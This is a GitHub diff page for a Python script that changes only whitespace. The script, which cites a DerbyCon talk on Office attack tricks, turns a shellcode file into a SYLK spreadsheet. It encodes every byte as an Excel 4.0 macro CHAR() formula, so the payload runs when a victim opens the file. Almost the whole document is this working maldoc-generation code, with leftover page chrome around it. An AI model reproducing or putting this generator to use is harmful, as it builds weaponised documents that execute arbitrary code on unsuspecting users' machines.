File tree Expand file tree Collapse file tree
Expand file tree Collapse file tree Original file line number Diff line number Diff line change 66# http://www.irongeek.com/i.php?page=videos/derbycon8/track-3-18-the-ms-office-magic-show-stan-hegt-pieter-ceelen
77
88def bytes2int (str ):
9- return int (str .encode ('hex' ), 16 )
9+ return int (str .encode ('hex' ), 16 )
1010
1111SHELLCODE_HEADER = """ID;P
1212O;E
@@ -25,28 +25,28 @@ def bytes2int(str):
2525"""
2626
2727def generate_slk (shellcode_path ):
28- return build_shellcode_slk (shellcode_path )
28+ return build_shellcode_slk (shellcode_path )
2929
3030def build_shellcode_slk (shellcode_path ):
31- #print("[*] Building shellcode exec SLK")
31+ #print("[*] Building shellcode exec SLK")
3232
33- slk_output = SHELLCODE_HEADER
34- with open (shellcode_path , "rb" ) as f :
35- byte = f .read (1 )
36- i = 0
37- cell = 0
38- while byte != "" :
39- if i == 0 :
40- cell = cell + 1
41- slk_output += ("C;X2;Y%s;K0;E" % (str (cell )))
42- else :
43- slk_output += ("&" )
44- slk_output += ("CHAR(" + str (bytes2int (byte )) + ")" )
45- byte = f .read (1 )
46- i += 1
47- if i == 20 :
48- slk_output += ("\n " )
49- i = 0
50- cell = cell + 1
51- slk_output += ("\n C;X2;Y%s;K0;ERETURN()\n E\n " % (str (cell )))
52- return slk_output
33+ slk_output = SHELLCODE_HEADER
34+ with open (shellcode_path , "rb" ) as f :
35+ byte = f .read (1 )
36+ i = 0
37+ cell = 0
38+ while byte != "" :
39+ if i == 0 :
40+ cell = cell + 1
41+ slk_output += ("C;X2;Y%s;K0;E" % (str (cell )))
42+ else :
43+ slk_output += ("&" )
44+ slk_output += ("CHAR(" + str (bytes2int (byte )) + ")" )
45+ byte = f .read (1 )
46+ i += 1
47+ if i == 20 :
48+ slk_output += ("\n " )
49+ i = 0
50+ cell = cell + 1
51+ slk_output += ("\n C;X2;Y%s;K0;ERETURN()\n E\n " % (str (cell )))
52+ return slk_output
You can’t perform that action at this time.
0 commit comments